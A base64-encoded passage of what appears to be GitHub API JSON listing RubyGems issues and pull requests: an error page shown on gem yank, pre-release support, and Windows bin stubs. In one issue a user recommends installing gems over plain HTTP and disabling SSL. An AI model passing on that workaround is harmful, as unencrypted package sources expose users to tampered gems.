IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXgtd2lkdGg6IDY4MHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7XCI+XHJcbiAgICAgICAgPGgxIHN0eWxlPVwibWFyZ2luLXRvcDogMjVweDsgbWFyZ2luLWJvdHRvbTogOHB4OyBmb250LXdlaWdodDogMjAwOyBmb250LXNpemU6IDYwcHg7IFwiPlVuaWNvcm4hPC9oMT5cclxuICAgICAgICA8cCBzdHlsZT1cImZvbnQtd2VpZ2h0OiAzMDA7IGZvbnQtc2l6ZTogMThweDsgbGluZS1oZWlnaHQ6IDEuNjY7IFwiPldlIGFyZSBoYXZpbmcgYSBiYWQgcHJvYmxlbSBhbmQgdGhlIGFwcCBzZXJ2ZXIgd2lsbCBub3QgdGFsayB0byB1cy48L3A+XHJcbiAgICAgICAgPGEgaHJlZj1cIi9cIiBzdHlsZT1cImZvbnQtd2VpZ2h0OiAzMDA7IGZvbnQtc2l6ZTogMThweDsgbGluZS1oZWlnaHQ6IDEuNjY7ICB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjZTk1NzNmO1wiPkJhY2sgdG8gUnVieUdlbXMub3JnPC9hPlxyXG4gICAgICA8L2Rpdj5cclxuICAgIDwvZGl2PlxyXG4gIDwvYm9keT5cclxuPC9odG1sPlxyXG5cclxuXHJcbi0tLVxyXG5cclxuTm90IHN1cmUgaWYgdGhpcyBpcyBlYXN5IGZvciB5b3UgdG8gc2VlLCBzbyBJIGV4cGxhaW4gaXQgLSBJIGdldCBzb21lXHJcbkhUTUwgb3V0cHV0IG9uIHRoZSBjb21tYW5kbGluZSwgc2F5aW5nIHRoYXQgdGhlcmUgd2FzIHNvbWUgXHJcbnVuaWNvcm4tcmVsYXRlZCBwcm9ibGVtLlxyXG5cclxuSFRNTCBPdXRwdXQgb24gdGhlIGNvbW1hbmRsaW5lIGlzIG5vdCB2ZXJ5IHVzZWZ1bCwgc28gbXlcclxuc3VnZ2VzdGlvbiBpcyB0byBub3Qgc2hvdyB0aGlzIEhUTUwgb3V0cHV0LCBhbmQgaW5zdGVhZCBcclxucHJvdmlkZSBzb21lIG1vcmUgc3VjY2luY3QgZXJyb3IgbWVzc2FnZS4gRm9yIGV4YW1wbGU6XHJcblxyXG5cIlRoZXJlIHdhcyBhIHByb2JsZW0geWFua2luZyBnZW0gQkxBIHZlcnNpb24gQkxBLlwiXHJcblxyXG5PciBzb21ldGhpbmcgbGlrZSB0aGlzOyBjb3VsZCBiZSBhIGJpdCBtb3JlIGRlc2NyaXB0aXZlIGFzXHJcbndlbGwuXHJcblxyXG5Ib3BlZnVsbHkgSSB3YXMgYWJsZSB0byBleHBsYWluIHRoZSBwcm9ibGVtLiBJdCBpcyBkaWZmaWN1bHRcclxuZm9yIG1lIHRvIHBpbnBvaW50IHdoZXJlIHRoZSBwcm9ibGVtIGlzIGV4YWN0bHksIGJ1dCBJXHJcbmFtIHJlYXNvbmFibHkgc3VyZSB0aGF0IGl0IG1heSBoYXZlIHRvIGRvIHdpdGggYmF0Y2gteWFua2luZ1xyXG5nZW1zLiBJJ2xsIHJlcG9ydCB0aGlzIGp1c3QgaW4gY2FzZSBzb21lb25lIGlzIGFibGUgdG8gaGF2ZVxyXG5hIGxvb2suIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTI4IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjgvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjgvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEyOC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMjgiLCJpZCI6Mjg0NDExNjgxLCJudW1iZXIiOjIxMjgsInRpdGxlIjoiW1dJUF0gU3VwcG9ydCBwcmUtcmVsZWFzZSBSdWJ5R2Vtcy4iLCJ1c2VyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MiwiY3JlYXRlZF9hdCI6IjIwMTctMTItMjVUMDY6NDk6MjhaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMjZUMDE6MTA6NDJaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMjgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMjgiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMjguZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMjgucGF0Y2gifSwiYm9keSI6IldlIG5lZWQgdG8gc2hpcCBhIHByZS1yZWxlYXNlIHZlcnNpb24gb2YgUnVieUdlbXMgZm9yIGV2YWx1YXRpb24uXHJcblxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjAiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEyMC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEyMC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTIwL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTIwIiwiaWQiOjI4MzY3NjM1NCwibnVtYmVyIjoyMTIwLCJ0aXRsZSI6IkdpdmUgb3B0aW9uIHRvIGdlbmVyYXRlIFdpbmRvd3MgYmluIHN0dWJzIHJlZ2FyZGxlc3Mgb2YgaG9zdCBPUyIsInVzZXIiOnsibG9naW4iOiJveHlnZW5lIiwiaWQiOjgzMzQxNywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvODMzNDE3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9veHlnZW5lIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vb3h5Z2VuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3h5Z2VuZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9veHlnZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9veHlnZW5lL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3h5Z2VuZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb3h5Z2VuZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL294eWdlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoyLCJjcmVhdGVkX2F0IjoiMjAxNy0xMi0yMFQxOTo1MDoyNVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yM1QwNDo0MjoyOVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSBzdHVtYmxlZCBhY3Jvc3MgdGhlIGZhY3QgdGhhdCB3aGVuIHdvcmtpbmcgd2l0aCBqcnVieSBvbiBhIExpbnV4IHN5c3RlbSwgbm8gV2luZG93cyBzdHViIGZpbGVzIGFyZSBnZW5lcmF0ZWQgZm9yIGluc3RhbGxlZCBnZW1zLiBUaGlzIGlzIHJlYXNvbmFibGUgZm9yIGEgbmF0aXZlIHJ1YnkgaW5zdGFsbGF0aW9uLCBidXQgaXQgd291bGQgYmUgbmljZSB0byBhbHNvIGdlbmVyYXRlIHdpbmRvd3Mgc3R1YnMgaW4gYSBqcnVieSBlbnZpcm9ubWVudCBiZWNhdXNlIHRoaXMgd291bGQgbWFrZSB0aGUganJ1YnkgZm9sZGVyIHBvcnRhYmxlIGFsc28gYWNyb3NzIE9TIHR5cGVzIGFzIGxvbmcgYXMgdGhlcmUgaXMgYSBKUkUgYXZhaWxhYmxlLlxyXG5cclxuUGxlYXNlIHNlZSB0aGUgZGlzY3Vzc2lvbiBvdmVyIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9qcnVieS9qcnVieS9pc3N1ZXMvNDkwN1xyXG5cclxuQmVpbmcgb24gYSBXaW5kb3dzIGhvc3QsIGN1cnJlbnRseSBhbHNvIHNoZWJhbmcgc2NyaXB0cyBhcmUgZ2VuZXJhdGVkLCBzbyB0aGUgc2l0dWF0aW9uIGlzIGEgbGl0dGxlIGJpdCBhc3N5bWV0cmljYWwuIEkgYWxzbyBub3RpY2VkIHRoYXQgd2hlbiBiZWluZyBvbiBhIFdpbmRvd3Mgc3lzdGVtIHRoZSBzZXR0aW5nIGZvciBzaGViYW5nIHN0eWxlIHNlZW1zIHRvIGJlIGlnbm9yZWQgYmVjYXVzZSBJIHRoZW4gZ2V0IGEgYCMhIGpydWJ5YCBzaGViYW5nIGV2ZW4gdGhvdWdoIGpydWJ5IGNvbmZpZ3VyZXMgdG8gYmUgdXNpbmcgYC91c3IvYmluL2VudmAuIFNob3VsZCBJIG9wZW4gYW5vdGhlciBpc3N1ZSBmb3IgdGhpcz8ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTkiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExOS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExOS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTE5L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExOSIsImlkIjoyODM2MTMyMjMsIm51bWJlciI6MjExOSwidGl0bGUiOiJNYWtlIFdpbmRvd3MgYmluIHN0dWJzIHBvcnRhYmxlIiwidXNlciI6eyJsb2dpbiI6Ik1TUC1HcmVnIiwiaWQiOjE1MDgxMTc2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTA4MTE3Nj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9NU1AtR3JlZyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjE1LCJjcmVhdGVkX2F0IjoiMjAxNy0xMi0yMFQxNjowNjozNVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yOVQxODo0MDozMFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjExOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExOSIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExOS5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExOS5wYXRjaCJ9LCJib2R5IjoiIyBEZXNjcmlwdGlvbjpcclxuXHJcbldpbmRvd3MgYmluIHN0dWJzIGZvciBpbnN0YWxsZWQgZ2VtcyBhcmUgbm90IHBvcnRhYmxlIGR1ZSB0byB0aGUgZmFjdCB0aGF0IHRoZSBwYXRoIChhdCBpbnN0YWxsIHRpbWUpIGlzICBlbWJlZGRlZCBpbiB0aGUgLmJhdCBvciAuY21kIGZpbGUuICBUaGlzIHBhdGNoIHJlbW92ZXMgdGhlIHBhdGggYW5kIHJlcGxhY2VzIHdpdGggYCV+ZHAwYCwgd2hpY2ggaXMgdGhlIHdpbmRvd3MgY21kIHZhcmlhYmxlIGZvciB0aGUgcnVubmluZyBzY3JpcHQncyBwYXRoLlxyXG5cclxuSXQgcGFzc2VkIHRlc3RzIGxvY2FsbHksIGFuZCBJIHBhdGNoZWQgYSBmcmVzaCAyLjQuMyBpbnN0YWxsIHdpdGggaXQgYW5kIHVwZGF0ZWQvaW5zdGFsbGVkIGJ1bmRsZXIgYW5kIHJha2UuICBJIGV2ZW4gYWRkZWQgYSBzcGFjZSB0byB0aGUgcGF0aCBhbmQgYWxsIGNvbW1hbmRzIGNvcnJlY3R5IHJhbiBmcm9tIGEgY29tbWFuZCBwcm9tcHQuXHJcblxyXG5TZWUgIzIxMTFcclxuXHJcbl9fX19fX19fX19fX19fXHJcblxyXG4jIFRhc2tzOlxyXG5cclxuLSBbWF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXHJcbi0gWyBdIFdyaXRlIHRlc3RzXHJcbi0gW1hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cclxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xyXG5cclxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cclxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTEzIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTMvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTMvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMy9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMyIsImlkIjoyODI3MDg2MDksIm51bWJlciI6MjExMywidGl0bGUiOiJDYW4ndCBpbnN0YWxsIGdlbXMgb24gd2luZG93cyBiZWNhdXNlIG9mIFNTTCIsInVzZXIiOnsibG9naW4iOiJUcmlhbmdsZXNQQ1QiLCJpZCI6MTEzMDk5MywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTEzMDk5Mz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvVHJpYW5nbGVzUENUIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vVHJpYW5nbGVzUENUIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvVHJpYW5nbGVzUENUL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1RyaWFuZ2xlc1BDVC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9UcmlhbmdsZXNQQ1QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1RyaWFuZ2xlc1BDVC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1RyaWFuZ2xlc1BDVC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1RyaWFuZ2xlc1BDVC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9UcmlhbmdsZXNQQ1QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9UcmlhbmdsZXNQQ1QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1RyaWFuZ2xlc1BDVC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTIsImNyZWF0ZWRfYXQiOiIyMDE3LTEyLTE3VDE3OjE3OjEzWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTE5VDEwOjI1OjE0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiIgR290IHJ1YnkoUnVieSAyLjQuMi0yICh4NjQpKWhlcmU6IGh0dHBzOi8vcnVieWluc3RhbGxlci5vcmcvZG93bmxvYWRzL1xyXG5cclxuIFJ1bjogZ2VtIGluc3RhbGwgamVrbGwsIGZhaWxzIGJlY2F1c2Ugb2Ygc29tZSBTU0wgY2VydCBub25zZW5zZS5cclxuXHJcbiBVcGRhdGUgcnVieWdlbXMgdG8gbGF0ZXN0IGV0YyBldGNcclxuXHJcbiBTdGlsbCBkb2Vzbid0IHdvcmssIHNhbWUgZXJyb3IuXHJcblxyXG4gRm9sbG93ZWQgYWxsIHRoZSB3b3JrIGFyb3VuZHMsIG5vbmUgb2YgdGhlbSB3b3JrZWQuXHJcblxyXG5UaGUgb25seSB0aGluZyB0aGF0IHdvcmtlZCB3YXMgZGlzYWJsaW5nIFNTTDogZ2VtIHNvdXJjZSAtLWFkZCBodHRwOi8vcnVieWdlbXMub3JnL1xyXG5cclxuIFRoaXMgaXMgcmlkaWN1bG91cywgaXQgc2hvdWxkIG5vdCByZXF1aXJlIHNvIG11Y2ggZmlkZGxpbmcganVzdCB0byBnZXQgdGhpcyB3b3JraW5nIG9uIFdpbmRvd3MuXHJcblxyXG5JZiB5b3UgY2FuJ3QgZ2V0IFNTTCB3b3JraW5nIHByb3Blcmx5IG9uIHdpbmRvd3MsIGRpc2FibGUgdGhhdCBzdHVwaWQgdGhpbmcuXHJcblxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTIiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjExMi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1Ynln